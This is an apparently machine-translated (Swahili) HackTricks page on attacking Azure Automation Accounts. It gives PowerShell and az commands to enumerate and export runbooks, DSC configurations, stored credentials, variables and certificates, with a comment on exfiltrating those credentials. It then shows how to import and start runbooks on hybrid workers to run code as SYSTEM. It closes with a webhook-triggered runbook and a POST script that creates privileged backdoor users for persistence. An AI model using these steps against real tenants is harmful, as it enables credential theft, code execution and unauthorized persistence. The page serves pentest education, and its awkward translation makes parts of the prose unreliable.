Az - Automation Account

Support HackTricks

Taarifa Msingi

Kutoka kwa nyaraka: Azure Automation hutoa huduma ya kiotomatiki ya msingi wa wingu, sasisho za mfumo wa uendeshaji, na huduma ya usanidi inayounga mkono usimamizi thabiti kwenye mazingira yako ya Azure na yasiyo ya Azure. Inajumuisha kiotomatiki ya mchakato, usimamizi wa usanidi, usimamizi wa sasisho, uwezo uliogawanywa, na vipengele tofauti.

Hizi ni kama "kazi zilizopangwa" kwenye Azure ambazo zitaruhusu kutekeleza vitu (vitendo au hata hati) kwa usimamizi, ukaguzi na usanidi wa mazingira ya Azure.

Akaunti ya Kutekeleza Kama

Wakati Akaunti ya Kutekeleza Kama inatumika, inaunda maombi ya Azure AD na cheti kilichojisaini, inaunda madaala wa huduma na kumteua jukumu la Mchangiaji kwa akaunti katika usajili wa sasa (mamlaka nyingi). Microsoft inapendekeza kutumia Kitambulisho Kilichosimamiwa kwa Akaunti ya Kiotomatiki.

Hii itaondolewa ifikapo Septemba 30, 2023 na kubadilishwa na Kitambulisho Kilichosimamiwa.

Runbooks & Kazi

Runbooks kuruhusu kutekeleza mimba ya PowerShell ya aina yoyote. Hii inaweza kutumiwa vibaya na mshambuliaji kuiba ruhusa za madaala uliowekwa (ikiwa ipo). Katika mimba ya Runbooks unaweza pia kupata habari nyeti (kama vile siri).

Ikiwa unaweza kusoma kazi, ifanye kwani zina matokeo ya utekelezaji (habari nyeti inayowezekana).

Nenda kwa Akaunti za Kiotomatiki --> <Chagua Akaunti ya Kiotomatiki> --> Runbooks/Kazi/Vikundi vya Wafanyikazi wa Kihybrid/Tarakilishi za Wachunguzi/ruhusa/vipengele/vyeti/mahusiano

Mfanyikazi wa Kihybrid

Runbook inaweza kutekelezwa kwenye kontena ndani ya Azure au kwenye Mfanyikazi wa Kihybrid (mashine isiyo ya Azure). Mnajisi wa Uchambuzi wa Logi imewekwa kwenye VM kujiandikisha kama mfanyikazi wa kihybrid. Kazi za mfanyikazi wa kihybrid hutekelezwa kama SYSTEM kwenye Windows na akaunti ya nxautomation kwenye Linux. Kila Mfanyikazi wa Kihybrid amejiandikisha katika Kikundi cha Wafanyikazi wa Kihybrid.

Kwa hivyo, ikiwa unaweza kuchagua kutekeleza Runbook kwenye Mfanyikazi wa Kihybrid wa Windows, utatekeleza amri za aina yoyote kwenye mashine ya nje kama System (njia nzuri ya kubadilisha mbinu).

Hali ya Kuvunja Usalama wa Usanidi (SC)

Kutoka kwa nyaraka: Usanidi wa Hali ya Azure Automation ni huduma ya usimamizi wa usanidi wa Azure ambayo inakuruhusu kuandika, kusimamia, na kutekeleza Usanidi Uliotamaniwa wa PowerShell (DSC) usanidi kwa nodi katika wingu lolote au kituo cha data kwenye tovuti. Huduma pia inaagiza Rasilimali za DSC, na kumteua nodi za lengo, yote kwenye wingu. Unaweza kupata Usanidi wa Hali ya Azure Automation kwenye portal ya Azure kwa kuchagua Usanidi wa hali (DSC) chini ya Usimamizi wa Usanidi.

Habari nyeti inaweza kupatikana katika usanidi huu.

RCE

Inawezekana kutumia SC kutekeleza hati za aina yoyote kwenye mashine zilizosimamiwa.

Az - State Configuration RCE

Uchambuzi

# Check user right for automation
az extension add --upgrade -n automation
az automation account list # if it doesn't return anything the user is not a part of an Automation group

# Gets Azure Automation accounts in a resource group
Get-AzAutomationAccount

# List & get DSC configs
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration
Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match '<name>'} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug
## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting)

# List & get Run books code
Get-AzAutomationAccount | Get-AzAutomationRunbook
Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp

# List credentials & variables & others
Get-AzAutomationAccount | Get-AzAutomationCredential
Get-AzAutomationAccount | Get-AzAutomationVariable
Get-AzAutomationAccount | Get-AzAutomationConnection
Get-AzAutomationAccount | Get-AzAutomationCertificate
Get-AzAutomationAccount | Get-AzAutomationSchedule
Get-AzAutomationAccount | Get-AzAutomationModule
Get-AzAutomationAccount | Get-AzAutomationPython3Package
## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them

# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>

Unda Runbook

# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
Get-AzRoleAssignment -Scope /subscriptions/<ID>/resourceGroups/<RG-NAME>/providers/Microsoft.Automation/automationAccounts/<AUTOMATION-ACCOUNT>

# Create a Powershell Runbook
Import-AzAutomationRunbook -Name <RUNBOOK-NAME> -Path C:\Tools\username.ps1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Type PowerShell -Force -Verbose

# Publish the Runbook
Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose

Ungekuwa na uwezo wa kufanya kitu kama hicho kwa kubadilisha Run Book iliyopo, na kutoka kwenye konsoli ya wavuti.

Hatua za Kuweka Uundaji wa Mtumiaji aliye na Mamlaka Kubwa kiotomatiki

1. Anzisha Akaunti ya Uendeshaji wa Kiotomatiki

  • Hatua Inayohitajika: Unda Akaunti mpya ya Uendeshaji wa Kiotomatiki.

  • Mpangilio Maalum: Hakikisha "Unda akaunti ya Azure Run As" imezimwa.

2. Ingiza na Weka Runbook

  • Chanzo: Pakua runbook ya mfano kutoka Hifadhi ya GitHub ya MicroBurst.

  • Hatua Zinazohitajika:

  • Ingiza runbook kwenye Akaunti ya Uendeshaji wa Kiotomatiki.

  • Chapisha runbook ili iweze kutekelezwa.

  • Ambatanisha webhook kwenye runbook, kuwezesha kichocheo cha nje.

3. Sanidi Moduli ya AzureAD

  • Hatua Inayohitajika: Ongeza moduli ya AzureAD kwenye Akaunti ya Uendeshaji wa Kiotomatiki.

  • Hatua ya Ziada: Hakikisha Moduli zote za Azure Automation zimeboreshwa hadi toleo lao jipya zaidi.

4. Uteuzi wa Ruhusa

  • Vyeo vya Kuteua:

  • Msimamizi wa Mtumiaji

  • Mmiliki wa Subscriptions

  • Lengo: Teua vyeo hivi kwenye Akaunti ya Uendeshaji wa Kiotomatiki kwa mamlaka muhimu.

5. Uelewa wa Upotezaji wa Upatikanaji wa Kuingia

  • Taarifa: Tambua kwamba kusanidi uendeshaji kama huo kunaweza kusababisha kupoteza udhibiti wa usajili.

6. Kichocheo cha Uundaji wa Mtumiaji

  • Chochote kichocheo cha kuanzisha mtumiaji mpya kwa kutuma ombi la POST.

  • Tumia script ya PowerShell iliyotolewa, hakikisha kubadilisha $uri na URL halisi ya webhook yako na kuboresha $AccountInfo na jina la mtumiaji na nywila inayotakiwa.

$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo  = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body

Marejeo

Support HackTricks

Last updated